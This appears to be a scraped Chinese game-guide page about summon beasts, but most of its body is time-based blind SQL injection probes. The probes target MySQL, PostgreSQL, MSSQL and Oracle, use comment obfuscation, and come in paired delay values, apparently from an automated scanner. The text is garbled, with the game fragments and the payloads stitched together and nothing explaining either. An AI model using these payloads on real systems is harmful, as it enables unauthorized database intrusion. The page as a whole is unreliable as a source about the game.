图鉴在手，召唤兽随便选——召唤兽详细图鉴

'and(select*from(select+sleep(2))a/**/union/**/select+1)='

"and(select*from(select+sleep(0))a/**/union/**/select+1)="

"and(select*from(select+sleep(2))a/**/union/**/select+1)="

'/**/and(select'1'from/**/pg_sleep(0))>'0

'/**/and(select'1'from/**/pg_sleep(2))>'0

'and(select+1)>0waitfor/**/delay'0:0:0

'and(select+1)>0waitfor/**/delay'0:0:2

'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('w',0)='w

'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('h',2)='h

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召唤兽战斗中不能召唤什么原因